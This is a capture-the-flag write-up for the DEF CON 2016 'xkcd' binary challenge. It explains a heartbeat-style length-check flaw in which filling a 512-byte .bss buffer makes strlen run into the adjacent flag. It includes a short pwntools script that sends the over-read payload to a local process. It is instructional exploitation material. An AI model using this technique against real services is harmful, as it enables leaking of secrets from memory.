Gravitational plate of three masses and a slashed discABC0Static engraved plate. Three-dimensional view is unavailable or reduced motion is requested.

← back to fieldarticle

articleSep 18, 2020

DEF CON 2016 xkcd writeup

Statically linked xkcd challenge: a heartbeat-style reply buffer sits 0x200 bytes before the flag in .bss, so an overstated length turns strlen into an out-of-bounds read.

Vulnerability analysis

./0.png
./0.png

Other notes:

  • Statically linked, 64-bit
  • Heartbeat-style packet

Protections

  • No RELRO
  • No canary
  • NX enabled
  • No PIE

Binary behavior

root@e5e68faa5052:/home/Zer0Luck/challenges/xkcd# ./xkcd 
Could not open the flag.
 
|-> 현재 디렉토리에 flag 파일을 생성한 후에 분석을 시도하자

Create a flag file in the working directory before you dig in.

main

./1.png
./1.png

main reads the flag file into a flag buffer.

./2.png
./2.png

flag global

flag lives in .bss as a global. User input then drives a path that uses strtok to split on characters and check whether certain strings are present:

SERVER, ARE YOU STILL THERE?
 
IF SO, REPLY "

./3.png
./3.png

strtok

After that, the code cuts through the closing " and memcpys the reply body into the globals buffer.

./4.png
./4.png

globals

globals is 512 bytes and sits in the same .bss region, 0x200 bytes away from flag.

./5.png
./5.png

0x200-byte gap

./6.png
./6.png

Length check

strtok around ( ) feeds an integer into __isoc99_sscanf. The program then compares that claimed length against strlen(globals). If globals is shorter, it prints that many bytes. If you claim a larger length than strlen reports, you get Nice Try.

./7.png
./7.png

Approach

Attack idea

globals and flag share .bss, with flag starting 0x200 bytes after globals. Fill all 512 bytes of globals so there is no terminating null between the buffers. Then strlen walks past globals into flag and reports globals+flag length. Claim that larger length and the echo becomes an out-of-bounds read.

from pwn import *
e = ELF("./xkcd")
flag = ''
 
for i in range(1, 257):
    p = process("./xkcd")
    data = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%d)'%("A"*512, 512+i)
    p.sendline(data)    
    print p.recvline().strip("A")

./8.png
./8.png

Flag

That path recovers the flag.

related

  1. Sep 18, 2020/articleDEF CON 2016 feedme Vulnerability Analysis
  2. Sep 18, 2020/articleSSTF 2020 t_express Writeup
  3. Aug 16, 2020/articleHITCON 2017 Sakura writeup

graphfeed